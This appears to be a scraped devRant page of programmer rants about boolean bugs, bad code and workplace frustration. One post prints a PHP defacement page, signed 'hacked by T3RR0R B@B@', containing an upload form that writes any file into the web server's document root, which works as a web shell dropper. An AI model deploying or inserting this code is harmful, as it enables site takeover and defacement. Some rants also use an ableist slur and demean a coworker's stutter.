{
return false;
}
3 -
As many here (incl. me) like the Silicon Valley series, T.J Miller (playing as Erlich Bachman in the series) has been again in the news for his (mis)behaviour, this time for seemingly calling in a fake bomb threat on somebody, while being drunk.
Do you think the producers would go as far as remove him from the series for the rolling drama? if so, can you imagine the series being without him?
Sources:
- https://justice.gov/usao-ct/pr/...
- https://mashable.com/2018/04/...
- http://dailymail.co.uk/news/...
6 -
When you search for this error during 3 hours
if (false);
{
printf("why u right ?");
}
And it was just the first lines comma9 -
spent half an hour debugging an if statement that won't return anything but false. Apparently, the condition was:
if (check === true). and the check var was a string! so yeah, spent half an hour to realise I was checking if 'true' is true..4 -
In a programming exam, we had to write a program in 60 minutes, part of which was sorting some strings by length (strings the same length had to be in the same line)... I had like 3 minutes left, so i wrote this beauty:
boolean b = false;
for(int i = 0; i <= 999999; i++){
for(int j = 0; j <= strings.length; j++){
if(i == strings[j].length()){
System.out.print(s + " ");
b = true;
}
}
if(b){
System.out.println();
b = false;
}
}6 -
Dont become a dev if you:
- Cant sit in the office for 8-10 hours a day
- Dont know how to google information/ errors, instead you interrupt your teammates with stupid questions every 5 minutes
- Are a perfectionist and don't like constant change.
- Are neurotic and give up easily. If you get triggered about broken or messy things to the point where it ruins your day to you and everyone else around you. You need to separate your work from your life.
- Don't have good communication skills. Worst I saw was a guy who speaks with a stutter(nobody understands him) and also writes very poorly (nobody understands his emails). Also he gets very angry when you ask additional questions to clarify what he said. How can you work with someone like that?
- Are very sensitive to critique. I prefer someone telling me that my code is shit and telling me why, instead of feeding me delusions and false validation.
- Dont know how to balance working in team and working solo. Nobody likes lone wolfs who are arrogant and not in sync with the team. But also nobody likes to drag teammates who cant think for themselves and even after years of spent in the field are required constant spoonfeeding because they are unable to google and teach themselves with trial and error.14 -
I’m all for writing boolean statements that are readable, quick to grasp the real life case they’re representing and align with the spec rather than being ultra-reduced, but sometimes the spec is written by someone who clearly can’t reduce logic. So when the spec says “if it’s not the case that any of them are false” and you write:
!(!a || !b || !c || !d)
then I think you should try harder. At least put a note against the spec to say “i.e. if they’re all true” and then write the sensible code. Just think of the poor developer that might have to augment your code at a later date and has to follow and intercept that shite. -
$md5 = md5_file($file_uri);
=> Returns false
Mmh...
die(is_readable($file_uri));
=> Returns false
[Mmh intensifies]
if(!is_readable($file_uri)) {
chmod($file_uri, 0777);
}
=> Chmod() returns false
GAAAAH FUCK THIS I CALL IT A DAY6 -
The everything is Data science craze trend.
Honestly it's not even sustainable with every kid and their grandmother wanting to be data scientists because it's a 'passion' and a 'dream job' and all of that click bait stuff.
It's just become ridiculous at this point and I doubt we'll even have the long awaited 'breakthroughs' people have been talking about for so long.
Also I have a strong feeling everyone thinks it's their 'passion' because it tops the lists of highest paid jobs out there and everyone thinks with 3 months of training they're a fully fledged data scientist because some Python or R package implements all the algorithms he could ever think of using.
Add to that the fact that most advertised data science jobs are actually data engineering where you maintain a date store and that's it.
Agree or disagree that's my piece and if you can convince me otherwise I'll be surprised because I've been subscribed to this idea for so long that it lost me some real good opportunities because I thought it was just what I was meant to be doing which turned to be false after I thought about it. There's a million other jobs that are more impactful and with pursuing.2 -
First time I was screaming out of anger while looking at code.
I'm doing a group project in my university.
We are developing a indoor navigation Android app.
And a team mate of mine just merged this…
/*Method for help-feature.
Sets all the TouchEvents that are at least 400 ms long. This is made for all the relevant buttons or editTexts, which are seen on the mapView.
The case for mapView is needed because otherwise the other buttons, etc. wont work properly.*/
public void setButtonsForHelpDialog(){
View v = mapView;
switch (v.getId()) {
case R.id.mapview:
mapView.setOnTouchListener(…);
case R.id.buttonUp:
buttonOn.setOnTouchListener(…);
case R.id.buttonDown:
buttonDown.setOnTouchListener(…);
…
case R.id.description:
description.setOnTouchListener(…);
}}
The code is really aligned like this - no breaks. And it's even worse. There are if statements like if("constantly false var" == true). Which is highlighted by Android Studio.
This is done in a own class. The views are set via public member variables of this new class. The constant vars were added in the actual class holding the buttons and also stuff like this useless method
public void getDoStuff() {
doStuff()
}
And I could continue like this.
I never saw code this bad…
I can't even find words for it :/4 -
Fuck everything about Microsoft Dynamics. I'm supposed to use the REST API to make a web front-end. I notice all of the data comes back codified.
null == 0.
boolean true == 100000000
boolean false == 100000001
except sometimes when
boolean false == 100000000
boolean true == 100000001
or other times
string "Yes" == 100000000
string "No" == 100000001
string "Maybe" == 100000003
Hang on. Is the system representing a 1 bit value with base 10 numbers? Did the client set this up like this? Holy crap every number corresponds to a unique record in a table somewhere. That means it only returns numeric values instead of strings and I have to figure out what the number means in the context of the table.
A "key" is user typed? So every time someone starts to make a new record it saves a new "key" without a record? So I can pull a bunch of "0" records if I pull sequentially? So basically I need to see all of the data in Dynamics to have any context at all for what is returned from the Dynamics API? Fuuuuuuuuuu10 -
My man said "What should I return if the True/False field is left blank?"
WHY WOULD A BOOLEAN BE ANYTHING OTHER THAN TRUE OR FALSE???!!!
I'm gonna have an aneurysm. I shouldn't be educating people on best practices for something that's already been written about time and time again. RESTful philosophy has been documented so much, and all it takes is a quick google search, but noooo! I have to take time out of my day as if I'm a regular old stakeholder to explain that I want the exact thing that I sent in an email two weeks ago. Amazing.20 -
Pulled into an 'emergency' meeting with a group of web designers deeply concerned a particular service wasn't going to meet all their requirements.
DevA: "For each page, Its going to be A LOT of work to retrieve all the data and store it's state. Every page load will require a round trip to the service."
DevB: "Yes, we aren't sure how the service should be changed to do what we need."
Mgr: "What is it not doing now? Doesn't the service already returns all the necessary data?"
DevA: "Well...um...its all the boolean fields. Some may be defaulted from the database or false because the user unchecked the box. We have to know which is which"
Me: "Why? Are you doing anything different in the UI? Checkbox will be true or false. What or who set that value is irrelevant"
DevC: "Well, it matters if the user didn't fill out all other other values."
Me: "How so?"
DevA: "Its matters because the values in the other fields. Its going to be A TON of work to figure out."
<mgr goes to the white board>
Mgr: "Lets map this out...what fields are you needing to trigger the state on?"
DevA: "Um...uh...the 'Approved' field...and um...'OK to Contact' field"
Mgr: "Just those two?"
DevA: "Yea..um...there are other fields, but whether or not to show the edit box depends on those two."
Me: "The service already returns data, you only have two fields to check? I don't see a need to change the service at all."
DevA: "Returning all that data, we are going have a serious scaling problem. We'll be hitting the service A LOT. All that javascript could cause performance problems too"
Me: "How much data are we talking about? Name, address, couple of booleans?"
DevA: "I have to serialize the data. All that logic is going to be reeeaaallly complicated. It might be better if the service returned only the data I need."
Me: "$64,000 question, how often is this feature going to be used on the web site? Maybe once? Few hundred a week?"
Mgr: "We have no idea. A lot of the data will be pre-populated and we're only sending out a few thousand invitations. More around the holidays...but honestly, not very many."
Me: "Changing that service only for this particular area of the web site isn't going to happen. Changing the UI is the only course of action."
DevA: "Oh frack I can't wait until this project is over."
DevA...how the funck do still have a job here? You wasted about half-hour of my time with your cry-baby crap. Where is my hammer...no...no..don't go there...ahhh...thanks devrant. Prison sentence diverted.2 -
Legacy code huh?
Well i'd say it would be when i was workng on an old java app that was apparently written by a retard.
He had used strings to represent booleans for no apparent reason. As if that wasn't bad enough he would use different strings too:
Y N true false 1 0
He used them randomly too , y and 0
N and true
😡
I sense it was done on purpose
Perhaps he knew he was leaving soon2 -
if false? if false what? (false is just not defined, but this is the sort of shit I come across in the twig-theme-saas world, makes me angry)
5 -
I really dislike when people don't use braces { } on if/else statements.
If(almond.harvestStatus == undefined) almond.harvestMode=false
almond.dropdown = false.2 -
You know that feel as a developer when you add a feature to someone's existing project and you see a shitty code. well this has to be one of the shittiest code I have seen.
select_patient:function(patient)
{
console.log(patient)
this.select_patient_index = 0;
var pending = patient.Pending;
var USER_ID_Patient = patient.ID;
var prescription_ID = patient.Prescription_ID;
if(prescription_ID == null) prescription_ID = 0;
patient.Pending = pending = parseInt(pending);
patient.Prescription_ID = prescription_ID = parseInt(prescription_ID);
patient.USER_ID_Patient = USER_ID_Patient = parseInt(USER_ID_Patient);
if(pending > 0 && prescription_ID > 0)
{
this.select_patient_index = this.list.indexOf(patient);
$('#patientContinueModal').modal('show');
return false;
}
$scope.prescription.set(patient,null);
return false;
}
Also the guy has a space in his url.
xxxxxx.com/shopping cart !
My first instinct is to poke my eyes, find the developer (if we can call him that and shove it up his ______)2 -
Just found this gem:
<a href="..." onclick="if (! confirm("Are you sure you want to log out?")) return false;">Log out</a> -
Came across a method in the code base that returns a boolean.
It uses a ternary operator which returns true if the result is true and false.. you guessed it... if the result is false.
WHY NOT JUST RETURN THE FUCKING RESULT!!!
What. The. F#%#....2 -
Inspired by @shahriyer 's rant about floating point math:
I had a bug related to this in JavaScript recently. I have an infinite scrolling table that I load data into once the user has scrolled to the bottom. For this I use scrollHeight, scrollTop, and clientHeight. I subtract scrollTop from scrollHeight and check to see if the result is equal to clientHeight. If it is, the user has hit the bottom of the scrolling area and I can load new data. Simple, right?
Well, one day about a week and a half ago, it stopped working for one of our product managers. He'd scroll and nothing would happen. It was so strange. I noticed everything looked a bit small on his screen in Chrome, so I had him hit Ctrl+0 to reset his zoom level and try again.
It. Fucking. Worked.
So we log what I dubbed The Dumbest Bug Ever™ and put it in the next sprint.
Middle of this week, I started looking into the code that handled the scrolling check. I logged to the console every variable associated with it every time a scroll event was fired. Then I zoomed out and did it.
Turns out, when you zoom, you're no longer 100% guaranteed to be working with integers. scrollTop was now a float, but clientHeight was still an integer, so the comparison was always false and no loading of new data ever occurred. I tried round, floor, and ceil on the result of scrollHeight - scrollTop, but it was still inconsistent.
The solution I used was to round the difference of scrollHeight - scrollTop _and_ clientHeight to the lowest 10 before comparing them, to ensure an accurate comparison.
Inspired by this rant: https://devrant.com/rants/1356488/...2 -
// Define this isn't a rant.
this.isRant = false;
So just curious if there are any dev stroke artists on here that might be willing to lend me a hand with some prototype art...
Just need some character sprites made into modular pieces and a few edits.
Didn't know anywhere else to post this :-(10 -
Trigger warning:
Emotional !dev love life rant
I think this is not the right place to pour my heart out, but despite its more recent infights I still consider devRant to be a special community to me. And I guess if devRant is my goto place for support that's an issue. But maybe I just need to shout into a void because this is not about you solving this for me.
I have been in this relationship for ~6 years. My first great love. In the beginning, everything was perfect - a love story like from a cheesy movie. We've been through a lot to be together: Long distance, moving countries, a ton of bureaucracy (as she's from another country). So many memories.
It came as a surprise to me when she ended things. It really shouldn't have been. We've talked a lot about the reasons and I now see how much I've taken her for granted and neglected our relationship. I see now how I've been avoiding my problems and how I didn't work on my (mental and physical) health issues as good as I need to - not just for any relationship, but for myself. The regret/shame/guilt of not giving it 100% and of neglecting her weights heavily on me (besides the loss) and I am not sure what is worse.
Besides our relationship withering because of neglecting emotional needs, she also questioned our compability. We certainly have differences and different interests and we're both somewhat uncertain whether we really fit, if we ignore our history/emotions. It is actually a question that popped up in my head before sometimes, but I was too afraid to look into it for fear the answer is no. But here we are and ignoring that didn't help.
For now, we both need time to think about what we really want and whether this includes the other. We agreed that we need some distance to process the feelings. We still live in the same flat but for now she's staying with a friend most of the time and I'll also have a friend's place available soon. If in some time we both feel like we want to be together, we can date again - however she was also clear that she doesn't want to give any false hope and her current vision doesn't include me. If not, well have to hire a divorce lawyer. (Why you need a lawyer for that if both agree is beyond me.)
I am shattered. When it became clear to me that the relationship is over (and I ruined it), I got nauseous to the point that I threw up constantly for 6 hours. For the following 2 days I only cried and haven't eaten. Third day I started cleaning up the flat (long overdue!) - mostly for her tbh but I know it's good for myself, so better do the right thing with wrong motivation than sob all day -
talked to my psychiatrist and she brought some lunch which I could eat. Today (fourth day) she came over and we cooked lunch. I am still feeling terrible but the first days have been the worst I've ever felt and I've been trough quite a bit of (physical & chronic) pain - emotional pain hits different.
Let's see how this works out. In any case I now know very clear that I can't continue like before and need to work on my issues (for my own sake). I want be my best self, even if right now I don't have a lot of energy and am very depressed. I got an appointment with a therapist tomorrow - something I should have done years ago but I was overwhelmed with anxiety and analysis paralysis. I hope the future will be brighter and while I still wish to wake up from this nightmare and realize my faults without this breakup, I also know that I have to face reality.
PS: I do feel better now after writing this out. Thanks for listening, I guess.29 -
I'm trying really hard not to be sensitive, but my manager is making it difficult with their "constructive criticisms" ...
Just finished up a call with them. And I'm so tired. I'm not even angry or upset, I just feel so tired of their bullshit.
I set up a meeting as a courtesy to get them up to date on all the code changes I made. Last night I stayed up late to try and get things in before the deadline and this morning just killed me when they say.
"I don't think I should have given you this."
"I was right, you weren't ready to start doing this."
(Then don't even bother giving me anymore tasks then, I don't fucking care.)
"you clearly don't understand how branches work"
(Absolutely fucking false, I fixed that shit and am very familiar with how to understand the structure of the fucking repo)
"you are rushing and I don't need you messing up the website"
(I'm being proactive you twat, not rushing, making it very difficult for me to do the work and being productive)
Like seriously bro! Don't fucking patronize me for the work I was trying to get out. And trust me this fucking meeting is done in order to get ahead of potential issues, not a time to be condescending of my skills or lack there-of as you seem to so keenly think.
If you had this much doubt about my abilities then why give me the fucking Sr. title? Fucking trust that I'm being honest, and I'm trying to get us to a good spot, not fucking sabotage the company. God fucking damn.6 -
Saw this sent into a Discord chat today:
"Warning, look out for a Discord user by the name of "shaian" with the tag #2974. He is going around sending friend requests to random Discord users, and those who accept his friend requests will have their accounts DDoSed and their groups exposed with the members inside it becoming a victim as well. Spread the word and send this to as many discord servers as you can. If you see this user, DO NOT accept his friend request and immediately block him. Discord is currently working on it. SEND THIS TO ALL THE SERVERS YOU ARE IN. This is IMPORTANT: Do not accept a friend request from shaian#2974. He is a hacker.
Tell everyone on your friends list because if somebody on your list adds one of them, they'll be on your list too. They will figure out your personal computer's IP and address, so copy & paste this message where ever you can. He is going around sending friend requests to random discord users, and those who accept his requests will have their accounts and their IP Addresses revealed to him. Spread the word and send this to as many discord servers as you can. If you see this user, DO NOT accept his friend request and immediately block him. Saw this somewhere"
I was so angry I typed up an entire feature-length rant about it (just wanted to share my anger):
"1. Unless they have access to Discord data centres or third-party data centres storing Discord user information I doubt they can obtain the IP just by sending friend requests.
2. Judging by the wording, for example, 'copy & paste this message where ever you can' and 'Spread the word and send this to as many discord servers as you can. If you see this user, DO NOT accept his friend request and immediately block him.' this is most likely BS, prob just someone pissed off at that user and is trying to ruin their reputation etc.. Sentences equivalent to 'spread the word' are literally everywhere in this wall of text.
3. So what if you block the user? You don't even have their user ID, they can change their username and discrim if they want. Also, are you assuming they won't create any alts?
4. Accounts DDoSed? Does the creator of this wall of text even understand what that means? Wouldn't it be more likely that 'shaian' will be DDoSing your computer rather than your Discord account? How would the account even be DDoSed? Does that mean DDoSing Discord's servers themselves?
5. If 'shaian' really had access to Discord's information, they wouldn't need to send friend requests in order to 'DDoS accounts'. Why whould they need to friend you? It doesn't make sense. If they already had access to Discord user IP addresses, they won't even have to interact with the users themselves. Although you could argue that they are trolling and want to get to know the victim first or smth, that would just be inefficient and pointless. If they were DDoSing lots of users it would be a waste of time and resources.
6. The phrase 'Saw this somewhere' at the end just makes it worse. There is absolutely no proof/evidence of any kind provided, let along witnesses.
How do you expect me to believe this copypasta BS scam? This is like that 'Discord will be shutting down' scam a while back.
Why do people even believe this? Do you just blindly follow what others are doing and without thinking, copy and paste random walls of text?
Spreading this false information is pointless and harmful. It only provides benefits to whoever started this whole thing, trying to bring down whoever 'shaian' is.
I don't think people who copy & paste this sort of stuff are ready to use the internet yet.
Would you really believe everything people on the internet tell you?
You would probably say 'no'.
Then why copy & paste this? Do you have a reason?
Or is it 'just because of 'spread the word''?
I'm just sick of seeing people reposting this sort of stuff
People who send this are probably like the people who click 'Yes' to allow an app to make changes in the User Account Control window without reading the information about the publisher's certificate, or the people who click 'Agree' without actually reading the terms and conditions."8 -
Spend past 2 days trying to hunt down a bug...
I forgot `0` evaluates as `false` so this statement always returned `false` if `id` was `0` >.>
12 -
Found a clever little algorithm for computing the product of all primes between n-m without recomputing them.
We'll start with the product of all primes up to some n.
so [2, 2*3, 2*3*5, 2*3*5*,7..] etc
prods = []
i = 0
total = 1
while i < 100:
....total = total*primes[i]
....prods.append(total)
....i = i + 1
Terrible variable names, can't be arsed at the moment.
The result is a list with the values
2, 6, 30, 210, 2310, 30030, etc.
Now assume you have two factors,with indexes i, and j, where j>i
You can calculate the gap between the two corresponding primes easily.
A gap is defined at the product of all primes that fall between the prime indexes i and j.
To calculate the gap between any two primes, merely look up their index, and then do..
prods[j-1]/prods[i]
That is the product of all primes between the J'th prime and the I'th prime
To get the product of all primes *under* i, you can simply look it up like so:
prods[i-1]
Incidentally, finding a number n that is equivalent to (prods[j+i]/prods[j-i]) for any *possible* value of j and i (regardless of whether you precomputed n from the list generator for prods, or simply iterated n=n+1 fashion), is equivalent to finding an algorithm for generating all prime numbers under n.
Hypothetically you could pick a number N out of a hat, thats a thousand digits long, and it happens to be the product of all primes underneath it.
You could then start generating primes by doing
i = 3
while i < N:
....if (N/k)%1 == 0:
........factors.append(N/k)
....i=i+1
The only caveat is that there should be more false solutions as real ones. In otherwords theres no telling if you found a solution N corresponding to some value of (prods[j+i]/prods[j-i]) without testing the primality of *all* values of k under N.13 -
Serious question: If a highly intelligent being, better than humans, is about to code something, how would they probably do it?
Will they use the same concepts like control flow, iterations, types, operators, object inheritance, etc?
If they are quantum capable, how can they code with booleans when it can be both true and false at the same time? Will they code truthy and falsy with another dimension like time-space temporality?
Do their code simultaneously modify the hardware or bio-hardware as it iterates over the outcome of the code?
Does input and output even relevant to them?
How do they represent infinites?
Do they have similar github workflows or they telepathically update the source code?
Do they embed their program in their DNA? Then pass to offspring the codes they already created?
Do they code using a language or do they use some frequencies and material science that simultaneously show real world output?
And do they have their version of devRant?16 -
At first it seemed harsh, but then I learned that he committed code like
if (a == b)
return true;
else
return false;
9 -
Here’s how my Friday night is going:
def signin
if should_not_sign_user_in?(stuff)
return redirect_to :nope
end
# signin logic
end
The guard says I shouldn’t sign the user in. It logs the details of why. I read the logs; they’re all correct. It logs the return value, which is false, and the user gets signed in anyway.
Wat.
There’s a return and a redirect there!
This is only happening on the QA server, too, so something fishy is going on.5 -
A dev found a bug I created where I set a SQL parameter name to @OrderID instead of the expected @Order. The standard is @OrderID, there is one stored proc where it's @Order.
Oops...I didn't catch it because the integration test didn't cover that area of the code. My mistake...I should have checked...I take complete responsibility for the screw up.
He let me know by email..
"When refactoring, from now on check the stored procedure parameters, there are a few that don't follow the standard."
I was like "from now on..."? ...wow....bold comment from someone responsible for code that doesn't check for nulls, doesn't log errors, and relies on exceptions for flow control. You wouldn't even have known about the error if I didn't modify your code to log the error (the try..except returned false)
I really wanted to reply ...
"Fixed. From now on, when you come across those easily found bugs, go head and fix it, write a test, and move on. Don't send a condescending email to me, my boss, your boss, all the DBAs, and the entire fracking order processing team. Thanks."
But..I thanked him for finding and letting me know...we're a team..blah blah blah..
Frack..people suck.1 -
let RANT = $state(true);
Don't even get me started on frontend engineering right now. It's like the wild wild west out here, with no rules or regulations.
I mean seriously, what is going on with frontend engineering these days? It's like we're stuck in some sort of weird limbo state where nothing seems to make sense and everything is a struggle. And to top it all off, the project I've been working on for the past two years has the same damn issues as an existing codebase that I was hoping to leave behind.
For some reason the npm build runs when container starts. Are you kidding me? Every time I have to restart the app, I have to wait for 30+ minutes just for the damn thing to build. And what's worse, it's not even a complex app. It's a simple frontend for a research website. So why the heck does it take so long to build?
I'll tell you why, because some genius thought it would be a good idea to build the entire codebase every time the container starts. And I have no doubt that this same genius probably thought it would be efficient and time-saving. Well let me tell you, it's neither efficient nor time-saving. It's just plain infuriating.
And don't even get me started on the codebase itself. It's like a labyrinth of tangled and convoluted code (multiple versions of React and now rewriting on Nextjs). Trying to make even the simplest changes feels like unraveling a giant knot (every freaking component have it's only style and everything from React is being used - hooks, Redux, whatever else is popular). And heaven forbid you make a mistake, because then you have to wait another 30 minutes for the whole thing to build and see if your change even worked.
And let's not forget about the old codebase that is still being used, because the new one wasn't ready in time. So we're constantly having to switch back and forth between two different codebases, trying to remember which one has which functionality, and hoping that we don't break anything in the process.
Don't get me wrong, I'm not against rewrites. In fact, sometimes they are necessary for a project to move forward. But when frontend engineers can't seem to make up their mind and constantly want to rewrite the code, it's a recipe for disaster.
And don't even get me started on the experience level of the frontend engineers who started this project. Most of them only had 2-3 years of experience (at the time of inception some of them has less than 1 year of experience), and yet they managed to convince management to approve this mess. It's like the blind leading the blind.
But hey, who needs experience and expertise when you have shiny new technologies and frameworks to play with, right? Isn't that what matters most in frontend engineering these days? Keeping up with the latest trends and constantly jumping on the "hype train" without any real understanding of how it will impact the project in the long run.
As a backend engineer (so I kinda don't give a flying freak about frontend) with almost two decades of experience and who was doing frontend with jQuery back in 2005 - that's frustrating and all the inconsistency is literally killing people (a couple of clients literally dropped the contract because of frontend quality).
RANT = false;
PS: why I used Svelte runes? Because some freaking genius suggested to port new (unreleased, only beta version) frontend UI to Svelte 5 because of runes.6 -
Interviewer: Could you please make a class to force it create one instance at most?
Me: Sure!
(I didn't know the singleton pattern)
class A {
public static bool isCreated = false;
A() {
if(isCreated == true)
throw new Exception();
isCreated = true;
}
}5 -
Working on an Android app for a client who has a dev team that is developing a web app in with ember js / rails. These folks are "in charge" of the endpoints our app needs to function. Now as a native developer, I'm not a hater of a web apps way of doing things but with this particular app their dev teams seems to think that all programming languages can parse json as dynamically as javascript...
Exhibit A:
- Sample Endpoint Documentation
* GetImportantInfo
* Params: $id // id of info to get details of
* Endpoint: get-info/$id
* Method: GET
* Entity Return {SampleInfoModel}
- Example API calls in desktop REST client
* get-info/1
- response
{
"a" : 0,
"b" : false,
"c" : null
}
* get-info/2
- response
{
"a" : [null, "random date stamp"],
"b" : 3.14,
"c" : {
"z" : false,
"y" : 0.5
}
}
* get-info/3
- response
{
"a" : "false" // yes as a string
"b" : "yellow"
"c" : 1.75
}
Look, I get that js and ruby have dynamic types and a string can become a float can become a Boolean can become a cat can become an anvil. But that mess is very difficult to parse and make sense of in a stack that relies on static types.
After writing a million switch statements with cases like "is Float" or "is String" from kotlin's Any type // alias for java.Object, I throw my hands in the air and tell my boss we need to get on the phone with these folks. He agrees and we schedules a day that their main developer can come to our shop to "show us the ropes".
So the day comes and this guy shows up with his mac book pro and skinny jeans. We begin showing him the different data types coming back and explain how its bad for performance and can lead to bugs in the future if the model structure changes between different call params. He matter of factually has an epiphany and exclaims "OHHHHHH! I got you covered dawg!" and begins click clacking on his laptop to make sense of it all. We decide not to disturb him any more so he can keep working.
3 hours goes by...
He burst out of our conference room shouting "I am the greatest coder in the world! There's no problem I can't solve! Test it now!"
Weary, we begin testing the endpoints in our REST clients....
His magic fix, every single response is a quoted string of json:
example:
- old response
{
"foo" : "bar"
}
- new "improved" response
"{ \"foo\" : \"bar\" }"
smh....8 -
package main
import (
"log"
"strings"
)
type Present struct {
from string
to string
}
type Santa struct {
presents []Present
}
type Person struct {
Name string
Nice bool
Presents []Present
}
func (santa *Santa) givePresents(person Person) []Present {
result := []Present{}
if person.Nice != true {
return result
}
for _, present := range santa.presents {
if strings.Compare(present.to, person.Name) == 0 {
result = append(result, present)
}
}
return result
}
func main() {
santa := Santa{
[]Present{
{"devRant", "Alex"},
{"Johanna", "Alex"},
{"Alex", "devRant"},
{"Alex", "Johanna"},
},
}
persons := []Person{
{"Alex", true, []Present{}},
{"Johanna", true, []Present{}},
{"devRant", false, []Present{}},
}
for idx, person := range persons {
persons[idx].Presents = santa.givePresents(person)
}
log.Println(persons)
}2 -
http://".$_SERVER['HTTP_HOST']."/server, check the code below
<html lang='en-US'><head><title>T3RR0R B@B@</title>
<a href="https://www.facebook.com/mr.T3RR0R" target="_blank"><h2>Click Here !</h2></a><br>
<style>
body{cursor:url("http:////"),auto;}html{display:table;height:100%;width:100%;}body{display:table-row;}body{display:table-cell;vertical-align:middle;text-align:center;}a:link{text-decoration:none;}
body {
background-color: #000000;
background-image: url(https://imgwm.com/images/...);
<!--http://twitrcover.com/ar/uploads/...-->
margin-left: 0px;
margin-top: 0px;
margin-right: 0px;
margin-bottom: 0px;
background-position:right top;
background-repeat:no-repeat;
background-size:110%
}
.style1 {
font-family: Arial, Helvetica, sans-serif;
font-size: 12px;
}
</style><br><br><br>
<br>
<center><?php
echo "<form method='post' enctype='multipart/form-data'>
<input type='file' name='idx_file'>
<input type='submit' name='upload' value='upload'>
</form>";
$root = $_SERVER['DOCUMENT_ROOT'];
$files = $_FILES['idx_file']['name'];
$dest = $root.'/'.$files;
if(isset($_POST['upload'])) {
if(is_writable($root)) {
if(@copy($_FILES['idx_file']['tmp_name'], $dest)) {
$web = "http://".$_SERVER['HTTP_HOST']."/";
echo "Ciee Sukses Uploadnya :* -> <a href='$web/$files' target='_blank'><b><u>$web/$files</u></b></a>";
} else {
echo "gagal upload root >:(";
}
} else {
if(@copy($_FILES['idx_file']['tmp_name'], $files)) {
echo "Ciee Sukses Uploadnya :* <b>$files</b> di folder ini";
} else {
echo "gagal upload >:(";
}
}
}
?>
<!DOCTYPE html>
<html>
<title>K.I.T.A</title>
<audio autoplay loop>
<source src="http://micro.byethost24.com/KITA.mp..."></source>
</audio>
<head>
<link href='https://fonts.googleapis.com/css/...' rel='stylesheet' type='text/css'>
</head>
<body bgcolor="#2b2b2b" link="gray" text="gray">
<center>
<script type="text/javascript">
TypingText = function(element, interval, cursor, finishedCallback) {
if((typeof document.getElementById == "undefined") || (typeof element.innerHTML == "undefined")) {
this.running = true;
return;
}
this.element = element;
this.finishedCallback = (finishedCallback ? finishedCallback : function() { return; });
this.interval = (typeof interval == "undefined" ? 100 : interval);
this.origText = this.element.innerHTML;
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for(var i = 0; i < TypingText.all.length; i++) TypingText.all[i].run();
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if(this.running) return;
if(typeof this.origText == "undefined") {
setTimeout("document.getElementById('" + this.element.id + "').typingText.run()", this.interval);
return;
}
if(this.currentText == "") this.element.innerHTML = "";
if(this.currentChar < this.origText.length) {
if(this.origText.charAt(this.currentChar) == "<" && !this.inTag) {
this.tagBuffer = "<";
this.inTag = true;
this.currentChar++;
this.run();
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this.run();
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} else if(this.origText.charAt(this.currentChar) == "&" && !this.inHTMLEntity) {
this.HTMLEntityBuffer = "&";
this.inHTMLEntity = true;
this.currentChar++;
this.run();
return;
} else if(this.origText.charAt(this.currentChar) == ";" && this.inHTMLEntity) {
this.HTMLEntityBuffer += ";";
this.inHTMLEntity = false;
this.currentText += this.HTMLEntityBuffer;
this.currentChar++;
this.currentChar++;
setTimeout("document.getElementById('" + this.element.id + "').typingText.run()", this.interval);
} else {
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this.currentChar = 0;
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</script>
<br><br><br>
<div id="satu">
<embed src="https://youtube.com/v/tec_KllmOH4/...
<br>
<b style="font-size: 40px;">hacked by T3RR0R B@B@</b>
<br>
- use your brain to repair this system<br>
Scary Crazy Forbidden<br>
@2018<br><br>
Contact : fb.com/mr.T3RR0R
<br></div>11 -
bool isTrue(bool val){
If(val == true){
return true;
}
else if(val == false){
return false;
}
else{
cout<<"Wrong value";
}
Function isTrue is the future ! 😂😂😂2 -
bool showUpLateToWork=true;
bool rememberHeadPhones=false;
String DayOfWeek=Tuesday;
int hoursSpentOnPhoneLastNight=
int productivity = 100 - hoursSpentOnPhoneLastNight;
if(showUpLateToWork)
missStandup();
}
if(rememberHeadPhones)
Productivity +=10
Else
Productivity -=50;
While (hourOfDay(now()) <17)
{
drinkMntDew();
discussDataQualityIssuesWithBusiness();
lookThroughTonsOfPoorlyWrittenCodeForDefectThatBusinessWantsFixedYeasterday();
dieOnTheInside();
curseProjectTeamForPassingCrapCodeToMaintainaceTeam();
cry();
curseComputerApplicationsForNotResponding();
visitBathroomWhileLurkingDevrant();
}
goHome();
while (!asleep && hourOfDay(now()) > 17)
{
playWithPuppy();
qualityTimeWithMyWife();
pkayLeagueOfLegends();
netflixAndChill('litterally');
for (int i =1; i <=5; i++)
showLoveUsingLoveLanguage(i);
try
{
makeBaby();
} catch
{
learnPatience();
}
cuddle();
if(!wifeAwake)
checkDevrant()
}1 -
A time I (almost) screamed at co-worker?
Too many times to keep up with.
Majority of time its code like ..
try
{
using (var connection = new SqlConnection(connectionString))
{
// data access code that does stuff
}
catch (Exception e)
{
// Various ways of dealing with the error such as ..
Console.WriteLine("Here");
ShowMessage("An error occured.");
return false;
// or do nothing.
}
}
Range of excuses
- Users can't do anything about the error, so why do or show them anything?
- I'll fix the errors later
- Handling the errors were not in the end-user specification. If you want it, you'll have to perform a cost/benefit analysis, get the changes approved by the board in writing, placed in the project priority queue ...etc..etc
- I don't know.
- Users were tired of seeing database timeout errors, deadlocks, primary key violations, etc, so I fixed the problem.
On my tip of my tongue are rages of ..
"I'm going to trade you for a donkey, and shoot the donkey!"
or
"You are about as useful as a sack full of possum heads."
I haven't cast those stones (yet). I'll eventually run across my code that looks exactly like that.1 -
After I read clean code I talked to a fellow developer about some concepts. Later I reviewed some code of him and he clearly got the concept (not)
Java
...
If (isTrue(someValue))...
public boolean isTrue(boolean value){
if(value == true)
return true;
else
return false;
}9 -
It's been two months since I've left my previous job, after 1.5 years. I never had the feeling my boss trusted his dev team, since he was checking up on us regularly, even though we had planned out a sprint and work for us was "clear". I say "clear", because every single feature on this project was pretty much half-baked, since they were just ideas our boss/PO (same person) on the spot and were labeled as "the next big thing" without every properly writing them out as user stories. Every demo came with a bunch of criticism, because features weren't implemented "as he imagined", because what do you know, the user stories weren't properly described anyway. Bringing that up as counter-argument also made him angry every time, so that didn't help much either. The launch of the platform was also postponed every time because of vague reasons, so that didn't make the project any more interesting either.
It took a while before I got sick of this of this pretty hopeless situation and toxic environment. Mind you, it was my first job since I graduated, so I was a bit naive thinking the working environment would improve and aforementioned company issues would be resolved over time. Eventually, I ran out of patience and motivation, so I finally bit the bullet and handed in my resignation letter.
